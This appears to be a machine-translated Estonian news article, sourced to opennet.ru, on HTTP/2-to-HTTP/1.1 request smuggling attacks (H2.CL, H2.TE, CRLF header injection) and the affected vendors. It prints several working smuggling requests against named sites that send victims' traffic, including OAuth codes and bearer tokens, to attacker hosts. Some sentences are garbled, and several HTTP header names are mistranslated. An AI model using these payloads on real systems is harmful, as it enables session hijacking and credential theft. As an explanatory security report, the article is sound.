Uus rünnak front-end ja back-end süsteemidele, mis võimaldab sisestuda päringutesse

Veebisüsteemid, kus frontend loob ühendusi HTTP/2 kaudu ja edastab backendile HTTP/1.1 kaudu, on saanud uue versiooni „HTTP Request Smuggling“ rünnakust, mis võimaldab kasutades spetsiaalselt vormindatud kliendi päringute saatmist tungida teiste kasutajate päringute sisusse, mida töödeldakse samas voos frontend'i ja backend'i vahel. Rünnakut saab kasutada pahatahtliku JavaScript-koodi sisestamiseks seanssi legitiimse veebisaidiga, juurdepääsupiirangute süsteemide ületamiseks ja autentimisparameetrite katkestamiseks.

Web-proksid, koormuse tasakaalustajad, web-kiirendajad, sisu edastamise süsteemid ja muud konfiguratsioonid, kus päringud suunatakse front-end–back-end skeemi järgi, on probleemile vastuvõtlikud. Uuringu autor näitas rünnaku võimalust Netflixi, Verizon, Bitbucket, Netlify CDN ja Atlassiani süsteemidele, teenides 56 tuhat dollarit turvaauke avastavate programmide kaudu. Probleemi olemasolu on kinnitatud ka F5 Networks'i toodetes. Probleem puudutab osaliselt Apache http-serveri mod_proxy'd (CVE-2021-33193); parandusi oodatakse versioonis 2.4.49 (arendajatele teatati probleemist mai alguses ja neil oli kolm kuud aega parandamiseks). Nginx'is on samaaegne 'Content-Length' ja 'Transfer-Encoding' päiste määramine blokeeritud eelmises väljaandes (1.21.1). Rünnakute teostamiseks mõeldud vahendid on juba lisatud Burp'i tööriistakomplekti ja on saadaval Turbo Intruder'i laiendusena.

Uue päringute sisestamise meetodi toimimise printsiip on sarnane kahele aasta eest sama uurija tuvastatud haavatavusele, kuid piiratud HTTP/1.1 päringute vastu võtva front-endiga. Meeldiv on meelde tuletada, et front-end/backend skeemiga võtab kliendi päringud vastu lisasõlm — front-end, mis loob pikaajalise TCP-ühenduse backendiga, mis tegeleb päringute otsese töötlemisega. Selle ühise ühenduse kaudu edastatakse tavaliselt erinevate kasutajate päringud, mis järgivad üksteise järel HTTP protokolli vahendite abil.

Klassikaline rünnak „HTTP Request Smuggling” põhines asjaolul, et front-end'id ja back-end'id tõlgendavad HTTP-pealkirju „Content-Length” (mille määratleb päringu kogusuuruse) ja „Transfer-Encoding: chunked” (mis võimaldab andmeid edastada osade kaupa) erinevalt. Näiteks, kui front-end toetab ainult „Content-Length”, kuid ignoreerib „Transfer-Encoding: chunked”, võib ründaja saata päringu, kus on korraga määratud pealkirjad „Content-Length” ja „Transfer-Encoding: chunked”, kuid „Content-Length” suurus ei vasta chunked-jada suurusele. Sellisel juhul töötab front-end päringut üles „Content-Length” alusel ja back-end ootab ploki lõpetamist „Transfer-Encoding: chunked” alusel ning ründaja järelejäänud päringu sabad satuvad järgmise, edasi antud päringu algusesse.

Erinevalt tekstipõhisest protokollist HTTP/1.1, mille analüüs toimub ridade tasandil, on HTTP/2 binaarne protokoll, mis manipuleerib eelnevalt määratud suurusega andmepakettidega. HTTP/2-s kasutatakse pseudopealkirju, mis vastavad tavalistele HTTP-pealkirjadele. Kui suhtletakse tagaplaaniga protokolli HTTP/1.1 kaudu, tõlgendab esiplaan need pseudopealkirjad sarnasteks HTTP/1.1 pealkirjadeks. Probleem seisneb selles, et tagaplaan teebotsuseid voogude analüüsi osas juba esiplaani poolt seatud HTTP-pealkirjade põhjal, omamata teavet algse päringu parameetrite kohta.

Nende hulka kuuluvad ka pseudopealkirjad, mille väärtusteks võivad olla «content-length» ja «transfer-encoding», kuigi neid ei kasutata HTTP/2-s, kuna andmete suurus määratakse eraldi väli. Siiski, HTTP/2 päringu teisendamise protsessis HTTP/1.1-s kantakse need pealkirjad edasi ja võivad juba esialgu eksitada tagaplaati. Tuvastatakse kaks peamist rünnakuvõimalust: H2.TE ja H2.CL, kus tagaplaat eksitatakse vale transfer-encodingi või content-lengthi väärtuse tõttu, mis ei vasta päringu tegelikule keha suurusele, mis on edastatud front-endile HTTP/2 protokolli kaudu.

H2.CL rünnaku näitena tuuakse esile vale suuruse märkimine pseudopealkirjas content-length, kui saata HTTP/2 päring Netflixile. See päring toob kaasa sarnase HTTP-pealkirja Сontent-Length lisamise, kui pöörduda tagaplaadi poole HTTP/1.1 kaudu, kuid kuna Сontent-Lengthis märgitud suurus on väiksem tegelikust, siis töödeldakse osa andmetest lõpetusena järgmise päringu algusena.

Näiteks, HTTP/2 päring :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Toob viib taotluse saatekeskusesse: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Kuna Content-Length on 4, tõlgendab saatekeskus taotlusena ainult «abcd», ning ülejäänud osa «GET /n HTTP/1.1…» käsitletakse järgmise taotluse algusena, mis on seotud teise kasutajaga. Selle tulemusena toimub voogude desünkroniseerimine ja vastuseks sellele järgnevale taotlusele antakse saada soovitud taotluse töötlemise tulemus. Netflixi puhul põhjustas välise hosti määramine pealkirjas «Host:» vale taotluses, et kliendile saadeti vastus «Location: https://02.rs?x.netflix.com/n» ning võimaldati edastada kliendile suvalist sisu, sealhulgas käivitada oma JavaScripti koodi Netflixi saidi kontekstis.

Teine rünnaku variant (H2.TE) on seotud pealkirja „Transfer-Encoding: chunked” asendamisega. Transfer-encodingi valepealkirja kasutamine HTTP/2-s on spetsifikatsiooniga keelatud ja selle kasutamine peab olema tõlgendatud ebatäpsena. Sellest hoolimata ei arvesta mõned esiotsa teostused seda nõuet ning lubavad valepealkirja transfer-encodingi kasutamist HTTP/2-s, mis muundatakse sarnaseks HTTP pealkirjaks. Kui pealkiri „Transfer-Encoding” on olemas, võib tagaplaneed see võtta prioriteetsema, mille tõttu toimub andmete osaline töötlemine „chunked” režiimis, kasutades erineva suurusega plokke formaadis „{suurus}\r\n{plokk}\r\n{suurus}\r\n{plokk}\r\n0”, hoolimata algsest jagamisest kogusuuruse järgi.

Sarnase nõrkus oli demonstreeritud ettevõtte Verizon näitel. Probleem puudutas autentimisportaal ja ja pakub teile rohkem tööriistu isiklike veebisaitide ja koostöövõimetega veebirakenduste loomiseks., mis on samuti kasutusel sellistes saitides nagu Huffington Post ja Engadget. Näiteks kliente puudutav päring HTTP/2-s: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Tekkis HTTP/1.1 taotluse edastamine backendile: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=

Backend seevastu ignoreeris "Content-Length" pealkirja ning teostas voogude jagamist "Transfer-Encoding: chunked" alusel. Praktikas võimaldas rünne suunata kasutajate taotlusi oma veebisaidile, sealhulgas püüda kinni OAuth autentimisega seotud taotlusi, mille parameetrid ilmnesid Referer pealkirjas, samuti simuleerida autentimisseansi ja algatada kasutaja õiguste edastamine ründaja hostile. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

HTTP/2 rakendustes, mis ei luba "transfer-encoding" pseudopealkirja määrata, on ettepanekuks veel üks meetod, mis on seotud "Transfer-Encoding" pealkirja sisestamisega teiste pseudopealkirjade juurde, eraldades need reavahetuse sümboliga (HTTP/1.1-sse muundamisel luuakse sarnases olukorras kaks eraldi HTTP pealkirja).

Näiteks olid Atlassian Jira ja Netlify CDN (kasutatakse Mozilla käivituslehe edastamiseks Firefoxis) selle probleemi all kannatajad. Eelkõige HTTP/2 päring: :meetod POST :path / :authority start.mozilla.org foo b\r\n ülekande-kodeering: chunked 0\r\n\r\nGET / HTTP/1.1\r\nHernes: evil-netlify-domain\r\nSisu-Pikkus: 5\r\n\r\nx=

küsimus viis taustsüsteemi saatma HTTP/1.1 POST-i päringu / HTTP/1.1\r\nHernes: start.mozilla.org\r\nFoo: b\r\nÜlekande-kodeering: chunked\r\nSisu-Pikkus: 71\r\n\r\n0\r\n\r\nGET / HTTP/1.1\r\nHernes: evil-netlify-domain\r\nSisu-Pikkus: 5\r\n\r\nx=

Teine meetod pealkirja „Ülekande-kodeering“ asendamiseks oli selle kinnitamine teise pseudopealkirja nimele või päringumeetodi reale. Näiteks Atlassian Jira süsteemi korral, kui pseudopealkirja „foo: bar\r\nülekande-kodeering“ väärtuseks oli „chunked“, lisandus HTTP-pealkirjad „foo: bar“ ja „ülekande-kodeering: chunked“, samas kui pseudopealkirja „:meetod“ väärtus „GET / HTTP/1.1\r\nülekande-kodeering: chunked“ tõlgiti „GET / HTTP/1.1\r\nülekande-kodeering: chunked“.

Probleemi avastanud uurija pakkus ka välja päringute tunnelimise tehnika rünnaku tegemiseks front-endides, kus igale IP-aadressid seotud on eraldi ühendus backendiga ning erinevate kasutajate liiklust ei segata. Ettepanekut tehnika ei luba teiste kasutajate päringutesse sekkuda, kuid see annab võimaluse saata ühine vahemälu, mis mõjutab teiste päringute töötlemist, ja võimaldab sisemiste HTTP-pealkirjade asendamist, mida kasutatakse teabe edastamiseks frontendilt backendile (näiteks autentimise korral frontendil võivad sellistes pealkirjades backendile edastatavad andmed sisaldada hetke kasutaja teavet). Näitena praktikas rakendamise meetodist on vahemälu rünnaku abil suudetud saada kontroll lehtede üle Bitbucket teenuses.

Allikas: opennet.ru